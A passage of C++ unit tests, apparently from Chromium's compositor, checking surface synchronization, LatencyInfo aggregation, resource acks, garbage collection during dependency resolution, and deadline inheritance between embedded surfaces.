MakeCompositorFrame( {child_id2}, empty_surface_ranges(), std::vector<TransferableResource>()); frame2.metadata.latency_info.push_back(info2); parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), std::move(frame2)); // Verify that the both old surfaces have pending frames. Surface* old_surface1 = GetSurfaceForId(parent_id1); Surface* old_surface2 = GetSurfaceForId(parent_id2); ASSERT_NE(nullptr, old_surface1); ASSERT_NE(nullptr, old_surface2); EXPECT_FALSE(old_surface1->HasActiveFrame()); EXPECT_FALSE(old_surface2->HasActiveFrame()); EXPECT_TRUE(old_surface1->HasPendingFrame()); EXPECT_TRUE(old_surface2->HasPendingFrame()); // Submit a frame with no dependencies to the new surface parent_id3. parent_support().SubmitCompositorFrame(parent_id3.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the new surface has an active frame only. Surface* surface = GetSurfaceForId(parent_id3); ASSERT_NE(nullptr, surface); EXPECT_TRUE(surface->HasActiveFrame()); EXPECT_FALSE(surface->HasPendingFrame()); // Verify that the aggregated LatencyInfo has LatencyInfo from both old // surfaces. std::vector<ui::LatencyInfo> info_list; surface->allocation_group()->TakeAggregatedLatencyInfoUpTo(surface, &info_list); EXPECT_EQ(2u, info_list.size()); ui::LatencyInfo aggregated_latency_info = info_list[0]; aggregated_latency_info.AddNewLatencyFrom(info_list[1]); // Two components are the original ones, and the third one is // DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, logged on compositor frame // submit. EXPECT_EQ(3u, aggregated_latency_info.latency_components().size()); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type1, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type2, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency( ui::DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, nullptr)); } // This test verifies that when a new surface is created, the LatencyInfo of the // previous surface does not get carried over into the new surface. TEST_F(SurfaceSynchronizationTest, LatencyInfoNotCarriedOver) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const ui::LatencyComponentType latency_type1 = ui::INPUT_EVENT_LATENCY_RENDERER_SWAP_COMPONENT; const ui::LatencyComponentType latency_type2 = ui::LATENCY_COMPONENT_TYPE_LAST; // Submit a frame with latency info ui::LatencyInfo info; info.AddLatencyNumber(latency_type1); CompositorFrame frame = CompositorFrameBuilder() .AddDefaultRenderPass() .AddLatencyInfo(info) .Build(); parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), std::move(frame)); // Verify that the old surface has an active frame and no pending frame. Surface* old_surface = GetSurfaceForId(parent_id1); ASSERT_NE(nullptr, old_surface); EXPECT_TRUE(old_surface->HasActiveFrame()); EXPECT_FALSE(old_surface->HasPendingFrame()); // Submit another frame with some other latency info and a different // LocalSurfaceId. ui::LatencyInfo info2; info2.AddLatencyNumber(latency_type2); CompositorFrame frame2 = CompositorFrameBuilder() .AddDefaultRenderPass() .AddLatencyInfo(info2) .Build(); parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), std::move(frame2)); // Verify that the new surface has an active frame and no pending frames. Surface* surface = GetSurfaceForId(parent_id2); ASSERT_NE(nullptr, surface); EXPECT_TRUE(surface->HasActiveFrame()); EXPECT_FALSE(surface->HasPendingFrame()); // Verify that the old surface still has its LatencyInfo. std::vector<ui::LatencyInfo> info_list; old_surface->TakeActiveLatencyInfo(&info_list); EXPECT_EQ(1u, info_list.size()); EXPECT_TRUE(info_list[0].FindLatency(latency_type1, nullptr)); EXPECT_FALSE(info_list[0].FindLatency(latency_type2, nullptr)); EXPECT_TRUE(info_list[0].FindLatency( ui::DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, nullptr)); // Take the aggregated LatencyInfo. Since the LatencyInfo of the old surface // is previously taken, it should not show up here. info_list.clear(); surface->allocation_group()->TakeAggregatedLatencyInfoUpTo(surface, &info_list); EXPECT_EQ(1u, info_list.size()); EXPECT_EQ(2u, info_list[0].latency_components().size()); EXPECT_FALSE(info_list[0].FindLatency(latency_type1, nullptr)); EXPECT_TRUE(info_list[0].FindLatency(latency_type2, nullptr)); EXPECT_TRUE(info_list[0].FindLatency( ui::DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, nullptr)); } // Checks that resources and ack are sent together if possible. TEST_F(SurfaceSynchronizationTest, ReturnResourcesWithAck) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); TransferableResource resource; resource.id = ResourceId(1234); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), {resource})); std::vector<ReturnedResource> returned_resources = TransferableResource::ReturnResources({resource}); EXPECT_CALL(support_client_, ReclaimResources(_)).Times(0); EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(Eq(returned_resources))); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), MakeDefaultCompositorFrame()); } // Verifies that arrival of a new CompositorFrame doesn't change the fact that a // surface is marked for destruction. TEST_F(SurfaceSynchronizationTest, SubmitToDestroyedSurface) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 3); // Create the child surface by submitting a frame to it. EXPECT_EQ(nullptr, GetSurfaceForId(child_id)); TransferableResource resource; resource.id = ResourceId(1234); child_support1().SubmitCompositorFrame( child_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), {resource})); // Verify that the child surface is created. Surface* surface = GetSurfaceForId(child_id); EXPECT_NE(nullptr, surface); // Add a reference from the parent to the child. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id}, {SurfaceRange(child_id)}, std::vector<TransferableResource>())); // Attempt to destroy the child surface. The surface must still exist since // the parent needs it but it will be marked as destroyed. child_support1().EvictSurface(child_id.local_surface_id()); surface = GetSurfaceForId(child_id); EXPECT_NE(nullptr, surface); EXPECT_TRUE(IsMarkedForDestruction(child_id)); // Child submits another frame to the same local surface id that is marked // destroyed. The frame is immediately rejected. { EXPECT_CALL(support_client_, ReclaimResources(_)).Times(0); EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)); surface_observer().Reset(); child_support1().SubmitCompositorFrame(child_id.local_surface_id(), MakeDefaultCompositorFrame()); testing::Mock::VerifyAndClearExpectations(&support_client_); } // The parent stops referencing the child surface. This allows the child // surface to be garbage collected. parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), MakeDefaultCompositorFrame()); { std::vector<ReturnedResource> returned_resources = TransferableResource::ReturnResources({resource}); EXPECT_CALL(support_client_, ReclaimResources(Eq(returned_resources))); frame_sink_manager().surface_manager()->GarbageCollectSurfaces(); testing::Mock::VerifyAndClearExpectations(&support_client_); } // We shouldn't observe an OnFirstSurfaceActivation because we reject the // CompositorFrame to the evicted surface. EXPECT_EQ(SurfaceId(), surface_observer().last_created_surface_id()); } // Verifies that if a LocalSurfaceId belonged to a surface that doesn't // exist anymore, it can not be recreated. TEST_F(SurfaceSynchronizationTest, LocalSurfaceIdIsNotReusable) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 3); // Submit the first frame. Creates the surface. child_support1().SubmitCompositorFrame(child_id.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_NE(nullptr, GetSurfaceForId(child_id)); // Add a reference from parent. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id}, {SurfaceRange(child_id)}, std::vector<TransferableResource>())); // Remove the reference from parant. This allows us to destroy the surface. parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), MakeDefaultCompositorFrame()); // Destroy the surface. child_support1().EvictSurface(child_id.local_surface_id()); frame_sink_manager().surface_manager()->GarbageCollectSurfaces(); EXPECT_EQ(nullptr, GetSurfaceForId(child_id)); // Submit another frame with the same local surface id. The surface should not // be recreated. child_support1().SubmitCompositorFrame(child_id.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_EQ(nullptr, GetSurfaceForId(child_id)); } // This test verifies that a crash does not occur if garbage collection is // triggered during surface dependency resolution. This test triggers garbage // collection during surface resolution, by causing an activation to remove // a surface subtree from the root. Both the old subtree and the new // activated subtree refer to the same dependency. The old subtree was activated // by deadline, and the new subtree was activated by a dependency finally // resolving. TEST_F(SurfaceSynchronizationTest, DependencyTrackingGarbageCollection) { const SurfaceId display_id = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); parent_support().SubmitCompositorFrame( parent_id1.local_surface_id(), MakeCompositorFrame({child_id}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame({parent_id1}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(parent_surface()->has_deadline()); // Advance BeginFrames to trigger a deadline. for (int i = 0; i < 3; ++i) { SendNextBeginFrame(); EXPECT_TRUE(display_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->has_deadline()); } SendNextBeginFrame(); EXPECT_TRUE(display_surface()->HasActiveFrame()); EXPECT_FALSE(display_surface()->HasPendingFrame()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); parent_support().SubmitCompositorFrame( parent_id2.local_surface_id(), MakeCompositorFrame({child_id}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame({parent_id2}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); // The display surface now has two CompositorFrames. One that is pending, // indirectly blocked on child_id and one that is active, also indirectly // referring to child_id, but activated due to the deadline above. EXPECT_TRUE(display_surface()->HasActiveFrame()); EXPECT_TRUE(display_surface()->HasPendingFrame()); // Submitting a CompositorFrame will trigger garbage collection of the // |parent_id1| subtree. This should not crash. child_support1().SubmitCompositorFrame(child_id.local_surface_id(), MakeDefaultCompositorFrame()); } // This test verifies that a crash does not occur if garbage collection is // triggered when a deadline forces frame activation. This test triggers garbage // collection during deadline activation by causing the activation of a display // frame to replace a previously activated display frame that was referring to // a now-unreachable surface subtree. That subtree gets garbage collected during // deadline activation. SurfaceDependencyTracker is also tracking a surface // from that subtree due to an unresolved dependency. This test verifies that // this dependency resolution does not crash. TEST_F(SurfaceSynchronizationTest, GarbageCollectionOnDeadline) { const SurfaceId display_id = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); // |parent_id1| is blocked on |child_id|. parent_support().SubmitCompositorFrame( parent_id1.local_surface_id(), MakeCompositorFrame({child_id}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame({parent_id1}, {SurfaceRange(parent_id1)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(display_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_TRUE(display_surface()->HasPendingFrame()); EXPECT_FALSE(display_surface()->HasActiveFrame()); // Advance BeginFrames to trigger a deadline. This activates the // CompositorFrame submitted above. for (int i = 0; i < 3; ++i) { SendNextBeginFrame(); EXPECT_TRUE(display_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->has_deadline()); } SendNextBeginFrame(); EXPECT_FALSE(display_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->has_deadline()); EXPECT_FALSE(display_surface()->HasPendingFrame()); EXPECT_TRUE(display_surface()->HasActiveFrame()); // By submitting a display CompositorFrame, and replacing the parent's // CompositorFrame with another surface ID, parent_id1 becomes unreachable // and a candidate for garbage collection. display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame({parent_id2}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(display_surface()->has_deadline()); // Now |parent_id1| is only kept alive by the active |display_id| frame. parent_support().SubmitCompositorFrame( parent_id2.local_surface_id(), MakeCompositorFrame({child_id}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(display_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->has_deadline()); // SurfaceDependencyTracker should now be tracking |display_id|, |parent_id1| // and |parent_id2|. By activating the pending |display_id| frame by deadline, // |parent_id1| becomes unreachable and is garbage collected while // SurfaceDependencyTracker is in the process of activating surfaces. This // should not cause a crash or use-after-free. for (int i = 0; i < 3; ++i) { SendNextBeginFrame(); EXPECT_TRUE(display_surface()->has_deadline()); } SendNextBeginFrame(); EXPECT_FALSE(display_surface()->has_deadline()); } // This test verifies that a CompositorFrame will only blocked on embedded // surfaces but not on other retained surface IDs in the CompositorFrame. TEST_F(SurfaceSynchronizationTest, OnlyBlockOnEmbeddedSurfaces) { const SurfaceId display_id = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); // Submitting a CompositorFrame with |parent_id2| so that the display // CompositorFrame can hold a reference to it. parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), MakeDefaultCompositorFrame()); display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame({parent_id2}, {SurfaceRange(parent_id1)}, std::vector<TransferableResource>())); EXPECT_TRUE(display_surface()->HasPendingFrame()); EXPECT_FALSE(display_surface()->HasActiveFrame()); EXPECT_TRUE(display_surface()->has_deadline()); // Verify that the display CompositorFrame will only block on |parent_id2| // but not |parent_id1|. EXPECT_THAT(display_surface()->activation_dependencies(), UnorderedElementsAre(parent_id2)); // Verify that the display surface holds no references while its // CompositorFrame is pending. EXPECT_THAT(GetChildReferences(display_id), IsEmpty()); // Submitting a CompositorFrame with |parent_id2| should unblock the // display CompositorFrame. parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(display_surface()->has_deadline()); EXPECT_FALSE(display_surface()->HasPendingFrame()); EXPECT_TRUE(display_surface()->HasActiveFrame()); EXPECT_THAT(display_surface()->activation_dependencies(), IsEmpty()); } // This test verifies that a late arriving CompositorFrame activates // immediately and does not trigger a new deadline. TEST_F(SurfaceSynchronizationTest, LateArrivingDependency) { const SurfaceId display_id = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame( {parent_id1}, {SurfaceRange(base::nullopt, parent_id1)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(display_surface()->HasPendingFrame()); EXPECT_FALSE(display_surface()->HasActiveFrame()); EXPECT_TRUE(display_surface()->has_deadline()); // Advance BeginFrames to trigger a deadline. This activates the // CompositorFrame submitted above. for (int i = 0; i < 3; ++i) { SendNextBeginFrame(); EXPECT_TRUE(display_surface()->has_deadline()); } SendNextBeginFrame(); EXPECT_FALSE(display_surface()->has_deadline()); EXPECT_FALSE(display_surface()->HasPendingFrame()); EXPECT_TRUE(display_surface()->HasActiveFrame()); // A late arriving CompositorFrame should activate immediately without // scheduling a deadline and without waiting for dependencies to resolve. parent_support().SubmitCompositorFrame( parent_id1.local_surface_id(), MakeCompositorFrame({child_id1}, {SurfaceRange(base::nullopt, child_id1)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_FALSE(parent_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); } // This test verifies that a late arriving CompositorFrame activates // immediately along with its subtree and does not trigger a new deadline. TEST_F(SurfaceSynchronizationTest, MultiLevelLateArrivingDependency) { const SurfaceId display_id = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId arbitrary_id = MakeSurfaceId(kArbitraryFrameSink, 1); display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame({parent_id}, {SurfaceRange(base::nullopt, parent_id)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(display_surface()->HasPendingFrame()); EXPECT_FALSE(display_surface()->HasActiveFrame()); EXPECT_TRUE(display_surface()->has_deadline()); // Issue some BeginFrames to trigger the deadline and activate the display's // surface. |parent_id| is now late. Advance BeginFrames to trigger a // deadline. for (int i = 0; i < 4; ++i) { EXPECT_TRUE(display_surface()->has_deadline()); SendNextBeginFrame(); } EXPECT_FALSE(display_surface()->HasPendingFrame()); EXPECT_TRUE(display_surface()->HasActiveFrame()); EXPECT_FALSE(display_surface()->has_deadline()); // The child surface is not currently causally linked to the display's // surface and so it gets a separate deadline. child_support1().SubmitCompositorFrame( child_id.local_surface_id(), MakeCompositorFrame( {arbitrary_id}, {SurfaceRange(base::nullopt, arbitrary_id)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->has_deadline()); // Submitting a CompositorFrame to the parent surface creates a dependency // chain from the display to the parent to the child, allowing them all to // assume the same deadline. Both the parent and the child are determined to // be late and activate immediately. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id}, {SurfaceRange(base::nullopt, child_id)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->has_deadline()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->has_deadline()); } // This test verifies that CompositorFrames submitted to a surface referenced // by a parent CompositorFrame as a fallback will be ACK'ed immediately. TEST_F(SurfaceSynchronizationTest, FallbackSurfacesClosed) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); // This is the fallback child surface that the parent holds a reference to. const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); // This is the primary child surface that the parent wants to block on. const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const SurfaceId arbitrary_id = MakeSurfaceId(kChildFrameSink2, 3); SendNextBeginFrame(); // child_support1 submits a CompositorFrame with unresolved dependencies. // DidReceiveCompositorFrameAck should not be called because the frame hasn't // activated yet. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)).Times(0); child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame({arbitrary_id}, {SurfaceRange(base::nullopt, arbitrary_id)}, {}, MakeDefaultDeadline())); EXPECT_TRUE(child_surface1()->has_deadline()); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); testing::Mock::VerifyAndClearExpectations(&support_client_); // The parent is blocked on |child_id2| and references |child_id1|. // |child_id1| should immediately activate and the ack must be sent. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)); parent_support().SubmitCompositorFrame( parent_id1.local_surface_id(), MakeCompositorFrame({child_id2}, {SurfaceRange(child_id1, child_id2)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); testing::Mock::VerifyAndClearExpectations(&support_client_); // Any further CompositorFrames sent to |child_id1| will also activate // immediately so that the child can submit another frame and catch up with // the parent. SendNextBeginFrame(); EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)); child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame({arbitrary_id}, {SurfaceRange(base::nullopt, arbitrary_id)}, {}, MakeDefaultDeadline())); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); testing::Mock::VerifyAndClearExpectations(&support_client_); } // This test verifies that two surface subtrees have independent deadlines. TEST_F(SurfaceSynchronizationTest, IndependentDeadlines) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); const SurfaceId arbitrary_id = MakeSurfaceId(kArbitraryFrameSink, 1); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(child_surface2()->HasPendingFrame()); EXPECT_TRUE(child_surface2()->HasActiveFrame()); parent_support().SubmitCompositorFrame( parent_id1.local_surface_id(), MakeCompositorFrame({child_id1, child_id2}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->has_deadline()); // Submit another CompositorFrame to |child_id1| that blocks on // |arbitrary_id|. child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame( {arbitrary_id}, empty_surface_ranges(), std::vector<TransferableResource>(), FrameDeadline(Now(), 3, BeginFrameArgs::DefaultInterval(), false))); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->has_deadline()); // Advance to the next BeginFrame. |child_id1|'s pending Frame should activate // after 2 frames. SendNextBeginFrame(); // Submit another CompositorFrame to |child_id2| that blocks on // |arbitrary_id|. child_support2().SubmitCompositorFrame( child_id2.local_surface_id(), MakeCompositorFrame({arbitrary_id}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(child_surface2()->HasPendingFrame()); EXPECT_TRUE(child_surface2()->HasActiveFrame()); EXPECT_TRUE(child_surface2()->has_deadline()); // If we issue another two BeginFrames both children should remain blocked. SendNextBeginFrame(); EXPECT_TRUE(child_surface1()->has_deadline()); EXPECT_TRUE(child_surface2()->has_deadline()); // Issuing another BeginFrame should activate the frame in |child_id1| but not // |child_id2|. This verifies that |child_id1| and |child_id2| have different // deadlines. SendNextBeginFrame(); EXPECT_TRUE(child_surface2()->has_deadline()); EXPECT_FALSE(child_surface1()->has_deadline()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); SendNextBeginFrame(); EXPECT_TRUE(child_surface2()->has_deadline()); EXPECT_TRUE(child_surface2()->HasPendingFrame()); EXPECT_TRUE(child_surface2()->HasActiveFrame()); // Issuing another BeginFrame should activate the frame in |child_id2|. SendNextBeginFrame(); EXPECT_FALSE(child_surface2()->has_deadline()); EXPECT_FALSE(child_surface2()->HasPendingFrame()); EXPECT_TRUE(child_surface2()->HasActiveFrame()); } // This test verifies that a child inherits its deadline from its dependent // parent (embedder) if the deadline is shorter than child's deadline. TEST_F(SurfaceSynchronizationTest, InheritShorterDeadline) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId arbitrary_id = MakeSurfaceId(kArbitraryFrameSink, 1); // Using the default lower bound deadline results in the deadline of 2 frames // effectively being ignored because the default lower bound is 4 frames. parent_support().SubmitCompositorFrame( parent_id1.local_surface_id(), MakeCompositorFrame( {child_id1}, {SurfaceRange(base::nullopt, child_id1)}, std::vector<TransferableResource>(), FrameDeadline(Now(), 2, BeginFrameArgs::DefaultInterval(), true))); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->has_deadline()); // Advance to the next BeginFrame. The parent surface will activate in 3 // frames. SendNextBeginFrame(); child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame({arbitrary_id}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->has_deadline()); // If we issue another three BeginFrames then both the parent and the child // should activate, verifying that the child's deadline is inherited from the // parent. for (int i = 0; i < 3; ++i) { EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_TRUE(child_surface1()->has_deadline()); SendNextBeginFrame(); } // Verify that both the parent and child have activated. EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->has_deadline()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->has_deadline()); } // This test verifies that in case of A embedding B embedding C, if the deadline // of A is longer than the deadline of B, B's deadline is not extended. TEST_F(SurfaceSynchronizationTest, ChildDeadlineNotExtendedByInheritance) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); // Parent blocks on Child1 with a deadline of 10. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDeadline(10))); // Child1 blocks on Child2 with a deadline of 2. child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame({child_id2}, {SurfaceRange(base::nullopt, child_id2)}, std::vector<TransferableResource>(), MakeDeadline(2))); // Both Parent and Child1 should be blocked because Child2 doesn't exist. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->HasPendingFrame()); // Send one BeginFrame. Both Parent and Child1 should be still blocked because // Child2 still doesn't exist and Child1's deadline is 2. SendNextBeginFrame(); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->HasPendingFrame()); // Send one more BeginFrame. Child1 should activate by deadline, and parent // will consequenctly activates. This wouldn't happen if Child1's deadline was // extended to match Parent's deadline. SendNextBeginFrame(); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); } // This test verifies that all surfaces within a dependency chain will // ultimately inherit the parent's shorter deadline even if the grandchild is // available before the child. TEST_F(SurfaceSynchronizationTest, MultiLevelDeadlineInheritance) { const SurfaceId display_id = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId arbitrary_id = MakeSurfaceId(kArbitraryFrameSink, 1); display_support().SubmitCompositorFrame( display_id.local_surface_id(), MakeCompositorFrame({parent_id}, {SurfaceRange(base::nullopt, parent_id)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(display_surface()->HasPendingFrame()); EXPECT_FALSE(display_surface()->HasActiveFrame()); EXPECT_TRUE(display_surface()->has_deadline()); // Issue a BeginFrame to move closer to the display's deadline. SendNextBeginFrame(); // The child surface is not currently causally linked to the display's // surface and so it gets a separate deadline. child_support1().SubmitCompositorFrame( child_id.local_surface_id(), MakeCompositorFrame( {arbitrary_id}, {SurfaceRange(base::nullopt, arbitrary_id)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->has_deadline()); // Submitting a CompositorFrame to the parent frame creates a dependency // chain from the display to the parent to the child, allowing them all to // assume the same deadline. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id}, {SurfaceRange(base::nullopt, child_id)}, std::vector<TransferableResource>(), MakeDefaultDeadline())); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->has_deadline()); // Advancing the time by three BeginFrames should activate all the surfaces. for (int i = 0; i < 3; ++i) { EXPECT_TRUE(display_surface()->has_deadline()); EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_TRUE(child_surface1()->has_deadline()); SendNextBeginFrame(); } // Verify that all the CompositorFrames have activated. EXPECT_FALSE(display_surface()->HasPendingFrame()); EXPECT_TRUE(display_surface()->HasActiveFrame()); 